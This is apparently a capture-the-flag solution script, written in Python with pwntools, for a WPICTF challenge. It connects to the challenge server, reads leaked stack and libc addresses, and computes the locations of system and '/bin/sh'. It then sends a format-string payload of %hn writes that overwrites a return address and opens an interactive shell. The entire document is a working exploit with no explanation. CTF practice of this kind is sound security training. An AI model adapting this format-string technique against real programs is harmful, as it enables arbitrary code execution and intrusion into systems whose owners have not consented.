#!/usr/bin/python3

from pwn import *

#p = process('./nanoprint')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = remote('dorsia3.wpictf.xyz',31337)
libc = ELF('libc.so.6')

_ = p.recvline().strip()

a =  int(_[:10],16)
system = int(_[10:],16) + 288
return_address = a + 0x5d + 4 + 0x10
baselibc = system - libc.symbols['system']
binsh = baselibc + next(libc.search(b"/bin/sh"))

words = {}
words[system & 0xFFFF] = return_address
words[system >> 16]    = return_address + 2
words[binsh & 0xFFFF]  = return_address + 8
words[binsh >> 16]     = return_address + 10

n=0; q=19; c=0; payload = b''
for i in sorted(words):
	payload += b'%' + str(i-n).encode() + b'x'
	payload += b'%' + str(q).rjust(2,'0').encode() + b'$hn'
	c += len(str(i-n)) + 2
	n += (i-n)
	q += 1

assert(c <= 25)
payload += b' '*(25-c)

for i in sorted(words):
	payload += p32(words[i])

p.sendline(payload)
p.interactive()
